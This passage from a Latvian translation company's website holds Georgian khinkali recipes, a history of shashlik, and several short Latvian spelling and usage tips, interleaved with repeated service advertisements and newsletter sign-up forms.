MUJIRISHVILI) HINKALI RECEPTE SASTĀVDAĻAS Mīklai Viens kg miltu, 20 g sāls, 400 g ūdens. Pildījumam Viens kg liellopu maltās gaļas, 350 g treknas maltās cūkgaļas, sīpols, pipari, koriandrs, sāls. PAGATAVOŠANA Pildījuma gaļu sajauc kopā ar sasmalcinātiem sīpoliem, pievieno sāli, piparus un koriandru. No mīklas sastāvdaļām sajauc mīklu. Kārtīgi to izrullē, ar formu izspiež apaļus apļus. Apļa vidū liek pildījumu, malas saņem kopā un aizspiež, vizuāli izveidojot sainīti. Vāra sālsūdenī, līdz tie uzpeld, (aptuveni 10 minūtes) un tad pasniedz karstus kopā ar pārkaisītiem zaļumiem. HINKALI AR SĒNĒM Sēņu hinkali ir tikpat izplatīti kā tradicionālie gruzīnu hinkali. Un tas noteikti nav tāpēc, ka veģetārisms ir kļuvis diezgan populārs Gruzijā, kā dēļ daudzi restorāni cenšas pielāgot tam savas ēdienkartes. Patiesībā tas ir saistīts ar senu vēsturi — gavēni Gruzijas pareizticīgo kalendārā. Gruzijas pareizticīgo baznīca ir cieši saistīta ar nacionālo identitāti Gruzijā. Tā kā kalendārā ir ļoti daudz gavēņa dienu (kas būtībā nozīmē, ka netiek ēsta gaļa – kaut kādu iemeslu dēļ zivis tajā neietilpst), veģetāro ēdienu gruzīnu virtuvē ir diezgan daudz. Tāpēc sēņu hinkali ir 100% autentisks un tradicionāls gruzīnu ēdiens. SASTĀVDAĻAS Mīklai Divas glāzes miltu, viena ola, tējkarote sāls, ēdamkarote neitrālas eļļas, pusglāze ūdens. Pildījumam 500 g sēņu, trīs daiviņas sasmalcināta ķiploka, ½ tējkarote koriandra sēklu, ½ tējkarote kaltēta timiāna, ½ samaltu sarkano piparu, trīs ēdamkarotes svaiga, sasmalcināta koriandra. PAGATAVOŠANA Lielā bļodā sajauc miltus un sāli, miltu centrā izveido iedobi un iesit tajā olu. Pievieno eļļu un 50 ml ūdens un samaisa, līdz izveidojas kunkuļaina mīkla. Ja nepieciešams, pievieno vairāk ūdens, lai mīklu vairāk mitrinātu. Uz ar miltiem apkaisītas virsmas mīklu mīca, līdz konsistence ir gluda un elastīga, apmēram 5−10 minūtes. Ieliek mīklu ieeļļotā bļodā, pārklāj, un ļauj tai atpūsties vismaz 30 minūtes. Uz vidējas uguns uzkarsē ēdamkaroti eļļas lielā sautējamā pannā un pievieno sēnes ar apmēram ½ tējkarotes sāls. Uzliek vāku un cep, līdz sēnes ir izdalījušas visu mitrumu un apbrūninātas. Ik pa brīdim apmaisot, cep aptuveni 5−10 minūtes. Samazina gatavošanas temperatūru līdz vidēji zemai, pievieno ķiplokus, koriandru, timiānu un čili. Cep vēl pāris minūtes. Izslēdz uguni un iemaisa pildījumā svaigu koriandru. Hinkali veidošana Uz viegli ar miltiem apkaisītas virsmas izrullē mīklu līdz trīs milimetru biezumam. Izmantojot astoņu centimetru dzeramo glāzi vai riņķveida griezēju, izgriež 20 aplīšus. Izrullē katru apli, līdz tie sasniedz 10−12 centimetrus diametrā un apmēram 1−2 milimetrus biezumā. Apmēram vienu ēdamkaroti pildījuma ievieto apļa vidusdaļā. Lai pareizi izveidotu hinkali formu un ielocītes, noderēs apskatīt kādu video instrukciju, kā loka un veido hinkali. Šis process ir pats sarežģītākais hinkali gatavošanā. Gatavam salocītam hinkali ir jābūt pavāra plaukstas izmērā. Hinkali vārīšana un pasniegšana Uzkarsē divus litrus sālsūdens līdz vārīšanās temperatūrai. Hinkali pa vienam liek ūdenī, izmantojot sietu. Gatavo sēņu hinkali 6−8 minūtes. Izņem no ūdens, izmantojot to pašu sieta karoti. Pasniedz nekavējoties pārkaisītus ar melnajiem pipariem. GRUZĪNU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu gruzīnu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no gruzīnu valodas. Tulkojumi gruzīnu valodā GRUZĪNU VALODAS KURSI Piedāvājam gruzīnu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos gruzīnu valodas kursus privātpersonām. Nodarbību laiks un intensitāte pēc Jūsu izvēles! Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos gruzīnu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Gruzīnu valodas kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Taisnība jāatdzīst vai jāatzīst? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-10-21 - URL: https://skrivanek.lv/jaatdzist-vai-jaatzist/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JĀATDZĪST VAI JĀATZĪST 1 Vai taisnība jāatdzīst vai jāatzīst? Bieži vārdu „atzīt” vajadzības izteiksmē (priedēklis „jā-” + 3. personas forma „atzīst”: „jāatzīst”) mēdz rakstīt kļūdaini – ar „dz”, nevis „z”. Iespējams, tāpēc, ka vārdā notiek pozicionālas pārmaiņas – nebalsīgais „t” tiek izrunāts kā balsīgais „d” pirms balsīgā „z” – un rakstīti tiek visi trīs līdzskaņi: „jāatdzīst”. Tātad taisnība ir jāatzīst. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Cepsim šašliku vai šašļiku? Ieskaties un uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2025-03-14 - URL: https://skrivanek.lv/sasliks-pret-sasliks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠAŠLIKS PRET ŠAŠĻIKS 1 Vai cepsim šašliku vai šašļiku? Vārds „šašliks” latviešu valodā ienācis no krievu vārda „шашлык”, kam pamatā tjurku vārds „šišlyk”. Bieži gan runā, gan rakstos vārdā lietots „ļ”, nevis „l”. Iespējams, kļūda radusies, jo latviešu valodā lielākoties aiz šņāceņa „š” sastopams mīkstināts līdzskanis, piemēram, „šļakatas”, „košļāt”. Aizgūtajā vārdā „šašliks” mīkstināta līdzskaņa nav. Tātad cepsim šašliku. Citi latviešu valodas padomi ŠAŠLIKS Šašliks ir ēdiens ar īpašu filozofiju, jo tā cepšana nav tikai maltītes pagatavošana, bet gan vesels rituāls, kuram dažādos pasaules nostūros ir savi īpaši noteikumi. Tikai šašlika dēļ daudzviet, sevišķi Austrumu zemēs, ģimenes un draugi pulcējas un kopā sēžas pie viena galda. Šašlika vēsture ir gana interesanta un garšīga. Tas ir pazīstams gandrīz visā pasaulē, Krievijā, Kaukāzā, Austrumeiropā un Vidusāzijā. Dažādi tas tiek saukts ASV, Grieķijā, Japānā, pat Brazīlijā un Korejā. ŠAŠLIKA VĒSTURE Šašlika izcelsme meklējama Rietumāzijas, Centrālāzijas un Austrumeiropas valstu virtuvēs. Tā bija jēra gaļa, sagriezta gabaliņos un uzvērta uz iesma, pirms tam marinēta dažādās garšvielās, sākot ar vienkāršāko variantu – sāls, pipari un etiķis, līdz pat smalkām marinādēm no granātiem, koriandra, piparmētras. Gatavoja šašliku, cepot uz oglēm, ik pa brīdim apgrozot uz iesmiem uzvērto gaļu. Jau viduslaiku krievu virtuves receptēs ir atrodama informācija par gaļas gatavošanu uz atklātas uguns, uzdurot uz iesmiem veselus zaķus, sivēnus, vistas, fazānus. Šādi pagatavotus ēdienus pasniedza smalkās pusdienās, vakariņās un svinīgos pasākumos krievu inteliģencei. Šāda ēdiena pagatavošana prasīja daudz pūļu – laiku, daudz malkas, fizisku spēku, grozot iesmu. No Krimas tatāriem krievi uzzināja par daudz ērtāku ēdiena pagatavošanas principu – šašliku. Kopā ar jauno gatavošanas veidu krievu valodā ienāca arī vārdi – шашлык (turku şışlıq – uzdurts uz iesma), мангал (arābu mankal – ceptuve), шампур (sīriešu šаррūδā – virsotne). Jau 19. gadsimtā šašliks kļuva populārs visā lielajā Krievijas impērijā, mūsdienās Krievijas federācijā un bijušajās Padomju Savienības republikās. 19. gadsimta beigās šašliks sasniedza Maskavu. Kopš tā laika tā popularitāte ļoti strauji izplatījās, 20. gadsimta sākumā tas bija kļuvis par galveno ēdienu Sanktpēterburgas smalkākajos restorānos, bet 20. gadsimta vidū tas jau bija izplatītākais “ielu ēdiens” visās Krievijas lielākajās pilsētās. Tajā laikā šašlika popularitāte nokļuva arī līdz Eiropai. ŠAŠLIKS PASAULĒ Šašliku gatavo un ēd visā pasaulē, daudzviet tā pagatavošana ir ļoti līdzīga, atšķiras vien izmantotās garšvielas un marinādes. Bet ir arī valstis, kur šo populāro ēdienu dēvē citādāk. GRIEĶIJĀ Suvlaki – populāra grieķu ātrā uzkoda, kas sastāv no maziem uz iesma uzdurtiem grilētiem gaļas gabaliņiem. To ēd, nenoņemot no iesma, kopā ar sarullētu pitas maizi, citronu, dažādām Grieķijai raksturīgām mērcēm. Parasti tiek izmantota cūkgaļa. Kaut arī gaļas grilēšanas kultūra Grieķijā aizsākusies jau Bronzas laikmetā, mūsdienās suvlaki kļuva populārs pēc Otrā pasaules kara. Dažādos Grieķijas reģionos šim ēdienam nosaukumi var atšķirties, mazliet atšķirsies pasniegšanas veids, bet garša būs tā pati. JAPĀNĀ Jakitori – japāņu ēdiens no vistas gabaliņiem, kas uzdurti uz bambusa iesmiem un cepti uz oglēm. Jakitori ir ļoti populārs ēdiens visā Japānā. Bieži vien cilvēki, nākot mājās no darba, ielas ēstuvē nopērk jakitori un pudeli alus un pa ceļam to notiesā. AMERIKAS SAVIENOTAJĀS VALSTĪS Barbekjū – pats populārākais dārza svētku ēdiens visā Amerikā. Barbekjū pagatavošanas metode Amerikas Savienotajās Valstīs jau ir kļuvusi populāra kopš 18. gadsimta. Mūsdienās barbekjū svētki pat tiek uzskatīti par īpašu Amerikas Savienoto Valstu subkultūru, un amerikāņi neizpaliek pat bez barbekjū gatavošanas sacensībām. Galvenais elements ir barbekjū ierīce, kas papildināta ar dažādiem elementiem – kūpinātavu, plīts virsmu. Pirmais barbekjū aromāts Amerikas Savienotās Valstis sasniedza koloniālajā laikmetā. Tā pieminēšana datēta jau ar 1672. gadu. Ja runājam par pašu nosaukumu, tad tas ir cēlies no spāņu barbacoa, kas tulkojumā nozīmē – gaļas gatavošana, lēni žāvējot vai cepot. Tāds ir arī ASV barbekjū gatavošanas princips – gaļa tiek gatavota zemā temperatūrā, kas aizņem 10─12 stundas. ARMĒNIJĀ Horovats – visizplatītākais armēņu virtuves ēdiens, ko piedāvā gan restorānos, gan gatavo ģimenes maltītēs Armēnijā un visā plašajā armēņu kopienā daudzās pasaules malās. Tradicionāli tiek izmantota cūkgaļa, retāk – jēra, liellopa gaļa. Gatavošanas metode ir pavisam vienkārša – gaļu sagriež gabaliņos, sajauc ar sasmalcinātu sīpolu un 12 stundas marinē. Nevienā mājā Armēnijā neatradīsim pierakstītu gatavošanas recepti, jo tādas vienkārši nav – armēņi gatavo ar sirdi. Etiķi gaļas marinēšanai Armēnijā neizmanto – šī tradīcija bija populāra Padomju Savienības laikos, kad ar etiķi tika maskēta ne visai augstas kvalitātes gaļas garša. Gaļa tiek gatavota tandirā – īpašā krāsnī, kas ieveidota zem zemes. ŠAŠLIKA PAGATAVOŠANA Sākotnēji šašliks tika gatavots tikai no jēra gaļas, bet mūsdienās to gatavo no cūkgaļas, vistas gaļas, liellopa, meža gaļas vai sojas, atkarībā no vēlmēm, tradīcijām un reliģiskajiem ierobežojumiem. Uz iesmiem tiek sadurta gaļa, kas sagriezta vidēja izmēra gabalos, starp gaļas gabaliem liekot arī dārzeņus – tomātus, sīpolu ripas, papriku, kabačus, sēnes. Vispirms gaļa tiek iemarinēta dažādās marinādēs, izmantojot garšvielas, etiķi, vīnu, citronu sulu. Nākošajā dienā to sprauž uz iesmiem un cep uz nokaitētām oglēm. ŠAŠLIKA PASNIEGŠANA Pie gaļas šašlika pasniedz tikai un vienīgi sauso vīnu, nekādā gadījumā– alu vai šņabi. Pie vistas šašlika pasniedz sauso baltvīnu. Lai izbaudītu un izjustu visas šašlika garšas un smaržas nianses, to galdā liek, nenoņemot no iesma, un katram ēdājam tiek savs iesms. Arī no tā šašliks netiek ar dakšiņu vai kā citādi nobraucīts uz šķīvja, bet gan ar zobiem nokosts vai novilkts nost – tā, kā dažkārt rāda filmās. Lai šašliku varētu baudīt no iesma, tam nevajadzētu būt garākam par 35–38 centimetriem. Uz katra iesma uzver un cep 5 līdz 6 gaļas gabaliņus. Izceptu šašliku, ja arī to uzliek uz šķīvja, neaplej ar mērci vai neapliek ar salātiem vai piedevā To visu liek blakus tā, lai nekas nepārmāc vai neizmaina šašlika garšu un aromātu. Klasiskā variantā šašliku pasniedz vienīgi ar svaigiem tomātiem vai uz oglēm ceptiem dārzeņiem ar prāvu zaļumu bunti (kinza, pētersīļi, loki) vai tikai ar lokiem un sauso vīnu; arī ar brinzas tipa sieru. Pārējos variantos katrs bez sirdsapziņas pārmetumiem ēd piedevās to, kas viņam labāk garšo un kas likts galdā. Kečups nepavisam nav obligāta piedeva. Šis paradums drīzāk gan pārņemts no barbekjū un tamlīdzīgām pasniegšanas tradīcijām. Kečups nav tas pats, kas laba pašu gatavota tomātu mērce, – tā izcels šašlika garšu, savukārt kečups, īpaši, ja tas ir salīdzinoši lēts produkts no veikala plaukta, garšu un smaržu nogalina. Ja vēlies vairāk iepazīties ar kulinārijas brīnumu vēsturi, dažādu valstu virtuvi, tradīcijām, gaidīsim Tevi Skrivanek valodu skolā, kur varēsi izvēlēties kādus no svešvalodu apguves kursiem, kuros mēs kopā apgūstam ne tikai valodu, bet uzzinām daudz interesantu informācija par skaistākajām lietām, kas mums saistās ar izvēlētās valodas valsti. TULKOJUMI 110+ VALODĀS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no angļu, grieķu, armēņu, japāņu un citām valodām. Tulkojumi 110+ valodās VALODU KURSI Piedāvājam valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos un grupu kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos kursus divatā, maksājot tikai par viena studenta mācībām! Valodu kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Notikumi ziņās tiek atainoti vai attainoti? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-09-12 - URL: https://skrivanek.lv/atainojums-pret-attainojums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATAINOJUMS PRET ATTAINOJUMS 1 Vai notikumi ziņās tiek atainoti vai attainoti? Latviešu valodā ir priedēklis „at-”, kuru bieži lietojam ar tādiem darbības vārdiem kā „vērt – atvērt”, „nākt – atnākt”, „tēlot – attēlot” u. tml. Vārds „atainot” nozīmē ‘attēlot, uzskatāmi parādīt’. Šim atvasinājumam pamatā ir darbības vārds „ainot”, nevis „tainot”. Vārda kļūdainais rakstījums ar diviem līdzskaņiem „t”, iespējams, radies pēc tādu ar priedēkli atvasinātu darbības vārdu kā „attēlot” vai „attaisnot” parauga. Tātad notikumi ziņās tiek atainoti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sveicam skolas absolventus vai apsolventus? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-08-14 - URL: https://skrivanek.lv/absolvents-pret-apsolvents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ABSOLVENTS PRET APSOLVENTS 1 Vai sveicam skolas absolventus vai apsolventus? Vārds „absolvents” latviešu valodā aizgūts no latīņu vārda „absolvēns” (ģenitīva formā „absolventis”). Izrunājot notiek pozicionāla skaņu pārmaiņa – pirms nebalsīgā „s” balsīgais „b” tiek izrunāts kā nebalsīgais „p”, tāpēc arī mēdzam šo vārdu rakstīt aplami. Tātad sveiksim skolas absolventus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ātri pagatavosim un uzkodīsim hot-dogu vai hotdogu, vai hot dogu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-09-23 - URL: https://skrivanek.lv/hot-dogs-pret-hotdogs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HOT-DOGS PRET HOTDOGS PRET HOT DOGS 1 Vai ātri pagatavosim un uzkodīsim hot-dogu vai hotdogu, vai hot dogu? Vārds „hotdogs” latviešu valodā aizgūts no angļu valodas vārdkopas „hot dog”. Ēdiena izcelsme meklējama Eiropā, kur tās pēc izcelsmes dēvēja par Frankfurtes desiņām vai Vīnes desiņām. 19. gadsimta otrajā pusē vācu imigranti Amerikas Savienotajās Valstīs sāka tirgot desiņas, kuras dēvēja par „dachshund sausages” – ‘takša desiņām’ –, jo tās bija garas un tievas kā suņu šķirne taksis. Laika gaitā sarežģīto vācu vārdu „dachshund” nomainījis vienkārši angļu „dog” – ‘suns’. Tā kā desiņu pasniedz karstu, to dēvē par „hot dog” – ‘karstais suns’. Latviešu valodā to netulkojam un rakstām vienā vārdā: „hotdogs”. Tātad ātri pagatavosim un uzkodīsim hotdogu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai slēgsim frančīzes vai franšīzes līgumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2022-12-27 - URL: https://skrivanek.lv/francize-pret-fransize/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FRANČĪZE PRET FRANŠĪZE 1 Vai slēgsim frančīzes vai franšīzes līgumu? Vārds „franšīze” latviešu valodā aizgūts no franču vārda „franchise” ar nozīmi ‘priekšrocība, privilēģija’. Lai gan angļu valodā vārds rakstāms tieši tāpat kā franču, to izruna atšķiras. Digrafa „ch” izruna angļu valodā ir „č”, savukārt franču – „š”. Tā kā aizguvumam pamatā ir franču valoda, latviešu valodā tas saucams par franšīzi. Tātad slēgsim franšīzes līgumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai, vēlot izturību un veiksmi, teiksim: „Turas!” vai „Turās!”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2025-01-27 - URL: https://skrivanek.lv/turas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TURAS PRET TURĀS 1 Vai, vēlot izturību un veiksmi, teiksim: „Turas! ” vai „Turās! ”? Vārds „turēties” ir 3. konjugācijas atgriezeniskais darbības vārds. Kā zināms, daļa 3. konjugācijas atgriezenisko darbības vārdu, kuru izskaņa ir „-īties” („ausīties”) un „-ināties” („rušināties”), gan 3. personas tagadnes formas („ausās”, „rušinās”), gan daudzskaitļa 1. un 2. personas tagadnes formās („ausāmies”, „ausāties”, „rušināmies”, „rušināties”) rakstāms garais patskanis „ā”. Savukārt pārējiem 3. konjugācijas atgriezeniskajiem darbības vārdiem, kuriem minēto izskaņu nav, šajās formās ir patskanis „a”: „kustēties – viņš kustas, mēs kustamies, jūs kustaties”, „turēties – viņš turas, mēs turamies, jūs turaties”. Darbības vārda „turēties” 3. personas formu bieži lietojam it kā pavēles izteiksmes formas vietā, proti, nevis „Turieties, draugi! ”, bet gan „Turas, draugi! ” vai vienkārši „Turas! ”. Tas ir stilistisks līdzeklis, tāpēc noteiktās saziņas situācijās pieļaujams, taču būtu vēlams arī šādos gadījumos ievērot gramatikas normas. Tātad teiksim: „Draugi, turas! ” vai „Turas, draugi! ”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Svinam Latvijas simtgadi vai simtsgadi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā 